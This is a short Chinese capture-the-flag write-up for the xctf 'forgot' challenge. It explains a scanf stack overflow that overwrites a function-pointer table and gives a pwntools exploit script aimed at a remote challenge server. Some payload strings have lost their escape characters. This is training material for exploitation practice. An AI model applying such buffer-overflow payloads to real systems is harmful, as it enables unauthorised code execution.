xctf - forgot
check一下,开启了NX
拉入ida中,能找到:
__isoc99_scanf,能够无限输入,
循环中,读取32个scanf的字符并进行判断,最后根据结果调用存在栈上的函数表,正好位于溢出变量的下方,
并直接使用v3+ --v14栈地址作为函数,如果v14为1时,就会是v3地址的函数。所以构造63 byte的padding加上填充的目标地址就可以拿到flag
from pwn import * context.log_level = 'debug' p = remote('111.198.29.45',31543) #p = process('./forgot') ''' payload="A"*63+"xccx86x04x08" p.recvuntil("What is your name?") p.sendline(payload) p.interactive() ''' payload = 'A'*0x24+p32(0x080486CC) #payload = "A"*32+"xccx86x04x08" p.recvuntil("> ") p.sendline('a') p.recvuntil("> ") p.sendline(payload) p.interactive()
ps: 暂时不知道为什么payload = "A"*32+"xccx86x04x08"可以得到flag,但是payload = "a"*32+"xccx86x04x08"却不能。